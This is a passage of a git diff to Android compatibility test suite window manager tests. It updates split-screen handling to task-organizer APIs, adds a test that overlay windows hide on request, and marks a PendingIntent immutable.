                 new WaitForValidActivityState(TEST_ACTIVITY),
                 new WaitForValidActivityState(DOCKED_ACTIVITY),
                 new WaitForValidActivityState(TRANSLUCENT_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
         mWmState.assertVisibility(DOCKED_ACTIVITY, true);
         mWmState.assertVisibility(TEST_ACTIVITY, true);
         mWmState.assertVisibility(TRANSLUCENT_ACTIVITY, true);
@@ -248,39 +148,6 @@
                 true /* showWhenLocked */, 1000 /* sleepMsInOnCreate */);
     }
 
-    @Test
-    public void testTurnScreenOnActivity_DismissSplitScreen() {
-        assumeTrue(supportsLockScreen());
-        assumeTrue(supportsSplitScreenMultiWindow());
-
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        final ActivitySessionClient activityClient = createManagedActivityClientSession();
-        testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
-                true /* useWindowFlags */, true /* showWhenLocked */);
-        testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
-                true /* useWindowFlags */, false /* showWhenLocked */);
-        testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
-                false /* useWindowFlags */, true /* showWhenLocked */);
-        testTurnScreenOnActivityMustDismissSplitScreen(lockScreenSession, activityClient,
-                false /* useWindowFlags */, false /* showWhenLocked */);
-    }
-
-    private void testTurnScreenOnActivityMustDismissSplitScreen(LockScreenSession lockScreenSession,
-            ActivitySessionClient activityClient, boolean useWindowFlags, boolean showWhenLocked) {
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
-        mWmState.assertContainsStack("Must contain split screen secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain split screen primary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-        testTurnScreenOnActivity(lockScreenSession, activityClient, useWindowFlags, showWhenLocked);
-        mWmState.assertDoesNotContainStack("Must not contain split screen secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertDoesNotContainStack("Must not contain split screen primary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
     private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
             ActivitySessionClient activitySessionClient, boolean useWindowFlags,
             boolean showWhenLocked) {
@@ -355,8 +222,8 @@
     }
 
     @Test
-    public void testFinishActivityInNonFocusedStack() throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
+    public void testFinishActivityInNonFocusedStack() {
+        if (!supportsMultiWindow()) {
             // Skipping test: no multi-window support
             return;
         }
@@ -369,9 +236,8 @@
                 .setUseInstrumentation()
                 .execute();
         mWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
-        // Launch something to fullscreen stack to make it focused.
-        launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertVisibility(TEST_ACTIVITY, true);
+        // Launch something to second split to make it focused.
+        launchActivityInSecondarySplit(TEST_ACTIVITY);
         // Finish activity in non-focused (docked) stack.
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
 
@@ -400,16 +266,16 @@
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterPause() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
     }
 
     @Test
-    public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
+    public void testFinishActivityWithMoveTaskToBackAfterStop() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
     }
 
-    private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
+    private void performFinishActivityWithMoveTaskToBack(String finishPoint) {
         // Make sure home activity is visible.
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -446,7 +312,7 @@
      * behavior.
      */
     @Test
-    public void testReorderToFrontBackstack() throws Exception {
+    public void testReorderToFrontBackstack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -482,7 +348,7 @@
      * home stack.
      */
     @Test
-    public void testReorderToFrontChangingStack() throws Exception {
+    public void testReorderToFrontChangingStack() {
         // Start with home on top
         launchHomeActivity();
         if (hasHomeScreen()) {
@@ -611,7 +477,7 @@
     @Test
     public void testTurnScreenOnAttrNoLockScreen_SplitScreen() {
         assumeTrue(supportsLockScreen());
-        assumeTrue(supportsSplitScreenMultiWindow());
+        assumeTrue(supportsMultiWindow());
 
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
@@ -667,37 +533,7 @@
     }
 
     @Test
-    public void testTurnScreenOnShowOnLockAttrDismissSplitScreen() {
-        assumeTrue(supportsLockScreen());
-        assumeTrue(supportsSplitScreenMultiWindow());
-
-        launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY));
-
-        mWmState.assertContainsStack("Must contain split screen secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain split screen primary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-
-        final LockScreenSession lockScreenSession = createManagedLockScreenSession();
-        lockScreenSession.sleepDevice();
-        mWmState.waitForAllStoppedActivities();
-
-        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY,
-                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
-        mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
-        assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
-
-        lockScreenSession.unlockDevice();
-        mWmState.assertDoesNotContainStack("Must not contain split screen secondary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertDoesNotContainStack("Must not contain split screen primary stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
-    }
-
-    @Test
-    public void testChangeToFullscrenWhenLockWithAttrInFreeform() {
+    public void testChangeToFullscreenWhenLockWithAttrInFreeform() {
         assumeTrue(supportsLockScreen());
         assumeTrue(supportsFreeform());
 
@@ -782,7 +618,7 @@
     }
 
     @Test
-    public void testGoingHomeMultipleTimes() throws Exception {
+    public void testGoingHomeMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -800,7 +636,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimes() throws Exception {
+    public void testPressingHomeButtonMultipleTimes() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
@@ -820,7 +656,7 @@
     }
 
     @Test
-    public void testPressingHomeButtonMultipleTimesQuick() throws Exception {
+    public void testPressingHomeButtonMultipleTimesQuick() {
         for (int i = 0; i < 10; i++) {
             // Start activity normally
             launchActivityOnDisplay(TEST_ACTIVITY, DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index bf983b5..7d82289 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -835,8 +835,17 @@
         // Set initial orientation.
         rotationSession.set(orientation);
 
+        // Launch a fullscreen activity first to make it behind the split-screen tasks (in
+        // WINDOWING_MODE_MULTI_WINDOW) that created below to avoid any other visible activities
+        // (e.g Launcher) affects the rotation tests.
+        // TODO(b/177166639): Making activities behind the splits invisible from TaskOrg.
+        getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+                .setUseInstrumentation()
+                .setWaitForLaunched(true)
+                .execute();
+
         // Launch activities that request orientations and check that device doesn't rotate.
-        launchActivitiesInSplitScreen(
+        launchActivitiesInLegacySplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(activity).setMultipleTask(true));
 
@@ -856,6 +865,7 @@
      * Asserts that initial and final reported sizes in docked stack are the same.
      */
     private void moveActivitySplitFullSplit(ComponentName activityName) {
+        mUseTaskOrganizer = false;
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         // Launch to docked stack and record size.
@@ -917,7 +927,10 @@
      * that are smaller than the dockedSizes.
      */
     private static void assertSizesAreSane(SizeInfo fullscreenSizes, SizeInfo dockedSizes) {
-        if (isDisplayPortrait()) {
+        final boolean isHorizontalDivision =
+                fullscreenSizes.displayHeight - dockedSizes.displayHeight >
+                fullscreenSizes.displayWidth - dockedSizes.displayWidth;
+        if (isHorizontalDivision) {
             assertThat(dockedSizes.displayHeight, lessThan(fullscreenSizes.displayHeight));
             assertThat(dockedSizes.heightDp, lessThan(fullscreenSizes.heightDp));
             assertThat(dockedSizes.metricsHeight, lessThan(fullscreenSizes.metricsHeight));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
index 39e5a7b..25f9152 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -20,7 +20,6 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.CliIntentExtra.extraString;
@@ -52,7 +51,6 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
-import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
@@ -115,10 +113,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         // Enable the assistant and launch an assistant activity, ensure it is on top
         try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -150,10 +144,6 @@
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                 getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-        mWmState.assertContainsStack("Must contain fullscreen stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertContainsStack("Must contain docked stack.",
-                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
 
         assertAssistantStackCanLaunchAndReturnFromNewTask(WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
     }
@@ -302,8 +292,6 @@
                 launchActivitiesInSplitScreen(
                         getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
                         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-                mWmState.assertContainsStack("Must contain docked stack.",
-                        WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
                 launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                         extraString(EXTRA_ASSISTANT_IS_TRANSLUCENT, "true"));
                 waitForValidStateWithActivityType(
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 470ea16..3a2c128 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -197,7 +197,8 @@
             launchFreeformActivity(targetComponentName, targetMode, mTargetLogTag,
                 displaySize, false /* leftSide */);
         } else {
-            launchActivitiesInSplitScreen(getLaunchActivityBuilder()
+            launchActivitiesInLegacySplitScreen
+                    (getLaunchActivityBuilder()
                     .setTargetActivity(sourceComponentName)
                     .setIntentExtra(bundle -> {
                         bundle.putString(EXTRA_MODE, sourceMode);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
new file mode 100644
index 0000000..268b7ae
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HideOverlayWindowsTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.HIDE_OVERLAY_WINDOWS_ACTIVITY;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.ACTION;
+import static android.server.wm.app.Components.HideOverlayWindowsActivity.PONG;
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.Components;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ * atest CtsWindowManagerDeviceTestCases:HideOverlayWindowsTest
+ */
+@Presubmit
+public class HideOverlayWindowsTest extends ActivityManagerTestBase {
+
+    private final static String WINDOW_NAME_EXTRA = "window_name";
+    private final static String SYSTEM_APPLICATION_OVERLAY_EXTRA = "system_application_overlay";
+    private PongReceiver mPongReceiver;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mPongReceiver = new PongReceiver();
+        mContext.registerReceiver(mPongReceiver, new IntentFilter(PONG));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mContext.unregisterReceiver(mPongReceiver);
+    }
+
+    @Test
+    public void testApplicationOverlayHiddenWhenRequested() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayFlagNoEffectWithoutPermission() {
+        String windowName = "SYSTEM_ALERT_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_ALERT_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+
+        setHideOverlayWindowsAndWaitForPong(false);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testInternalSystemApplicationOverlaysNotHidden() {
+        String windowName = "INTERNAL_SYSTEM_WINDOW";
+        ComponentName componentName = new ComponentName(
+                mContext, InternalSystemWindowActivity.class);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.INTERNAL_SYSTEM_WINDOW);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlaysNotHidden() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName),
+                    CliIntentExtra.extraBool(SYSTEM_APPLICATION_OVERLAY_EXTRA, true));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+    }
+
+    @Test
+    public void testSystemApplicationOverlayHiddenWithoutFlag() {
+        String windowName = "SYSTEM_APPLICATION_OVERLAY";
+        ComponentName componentName = new ComponentName(
+                mContext, SystemApplicationOverlayActivity.class);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            launchActivity(componentName,
+                    CliIntentExtra.extraString(WINDOW_NAME_EXTRA, windowName));
+            mWmState.waitAndAssertWindowSurfaceShown(windowName, true);
+        }, Manifest.permission.SYSTEM_APPLICATION_OVERLAY);
+
+        launchActivity(HIDE_OVERLAY_WINDOWS_ACTIVITY);
+        setHideOverlayWindowsAndWaitForPong(true);
+        mWmState.waitAndAssertWindowSurfaceShown(windowName, false);
+    }
+
+    void setHideOverlayWindowsAndWaitForPong(boolean hide) {
+        Intent intent = new Intent(ACTION);
+        intent.putExtra(Components.HideOverlayWindowsActivity.SHOULD_HIDE, hide);
+        mContext.sendBroadcast(intent);
+        mPongReceiver.waitForPong();
+    }
+
+    public static class BaseSystemWindowActivity extends Activity {
+
+        TextView mTextView;
+
+        @Override
+        protected void onCreate(@Nullable Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            String windowName = getIntent().getStringExtra(WINDOW_NAME_EXTRA);
+
+            final Point size = new Point();
+            getDisplay().getRealSize(size);
+
+            WindowManager.LayoutParams params =
+                    new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY, 0);
+            params.width = size.x / 3;
+            params.height = size.y / 3;
+            params.gravity = TOP | LEFT;
+            params.setTitle(windowName);
+
+            mTextView = new TextView(this);
+            mTextView.setText(windowName + "   type=" + TYPE_APPLICATION_OVERLAY);
+            mTextView.setBackgroundColor(Color.GREEN);
+
+            if (getIntent().getBooleanExtra(SYSTEM_APPLICATION_OVERLAY_EXTRA, false)) {
+                params.privateFlags |=
+                        WindowManager.LayoutParams.SYSTEM_FLAG_SYSTEM_APPLICATION_OVERLAY;
+            }
+            getWindowManager().addView(mTextView, params);
+        }
+
+        @Override
+        protected void onDestroy() {
+            super.onDestroy();
+            getWindowManager().removeView(mTextView);
+        }
+    }
+
+    // These activities are running the same code, but in different processes to ensure that they
+    // each create their own WindowSession, using the correct permissions. If they are run in the
+    // same process WindowSession is cached and might end up not matching the permissions set up
+    // with adoptShellPermissions
+    public static class InternalSystemWindowActivity extends BaseSystemWindowActivity {}
+    public static class SystemApplicationOverlayActivity extends BaseSystemWindowActivity {}
+    public static class SystemWindowActivity extends BaseSystemWindowActivity {}
+
+    private static class PongReceiver extends BroadcastReceiver {
+
+        volatile ConditionVariable mConditionVariable = new ConditionVariable();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mConditionVariable.open();
+        }
+
+        public void waitForPong() {
+            assertThat(mConditionVariable.block(10000L)).isTrue();
+            mConditionVariable = new ConditionVariable();
+        }
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
index e68f1c7..70dfb50 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ManifestLayoutTests.java
@@ -99,6 +99,7 @@
     @Test
     @Presubmit
     public void testMinimalSizeDocked() throws Exception {
+        mUseTaskOrganizer = false;
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
         testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
@@ -114,7 +115,7 @@
             launchActivitiesInSplitScreen(
                     getLaunchActivityBuilder().setTargetActivity(BOTTOM_RIGHT_LAYOUT_ACTIVITY),
                     getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
-            resizePrimarySplitScreen(1, 1, 1, 1);
+            mTaskOrganizer.setRootPrimaryTaskBounds(new Rect(0, 0, 1, 1));
         }
         getDisplayAndWindowState(BOTTOM_RIGHT_LAYOUT_ACTIVITY, false);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index ecd0134..82a8532 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -990,7 +990,7 @@
         intent.setClassName(activity.getPackageName(), activity.getClassName());
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
     }
 
     public static class ImmediateLaunchTestActivity extends Activity {}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 88202d9..06312f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -20,8 +20,6 @@
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
@@ -208,8 +206,13 @@
         mWmState.assertKeyguardShowingAndNotOccluded();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
-        // Change decored display. Keyguard should still be shown on the decored system display
-        virtualDisplaySession.resizeDisplay();
+        // Resize decored display. Keyguard should still be shown on the decored system display
+        final ReportedDisplayMetrics displayMetrics =
+                ReportedDisplayMetrics.getDisplayMetrics(decoredSystemDisplayId);
+        final Size overrideSize = new Size(
+                (int) (displayMetrics.physicalSize.getWidth() * 0.5),
+                (int) (displayMetrics.physicalSize.getHeight() * 0.5));
+        displayMetrics.setDisplayMetrics(overrideSize, displayMetrics.physicalDensity);
         mWmState.computeState();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index df752a8..9d5b95c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
 import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -411,7 +411,7 @@
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -430,7 +430,7 @@
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -464,6 +464,9 @@
                     .createDisplay();
             if (splitScreen) {
                 mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+                // Set the secondary split root task as launch root to verify remaining tasks will
+                // be reparented to matching launch root after removed the virtual display.
+                mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
             }
 
             // Launch activity on new secondary display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 807096f..1b0d933 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -422,6 +422,11 @@
         }
 
         void resizeDisplay() {
+            if (mSimulateDisplay) {
+                throw new IllegalStateException(
+                        "Please use ReportedDisplayMetrics#setDisplayMetrics to resize"
+                                + " simulate display");
+            }
             executeShellCommand(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY)
                     + " -f 0x20000000" + " --es " + KEY_COMMAND + " " + COMMAND_RESIZE_DISPLAY);
         }
@@ -481,6 +486,9 @@
                         .setToSide(true)
                         .setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
                         .execute();
+                final int secondaryTaskId =
+                        mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+                mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
             } else {
                 launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
             }
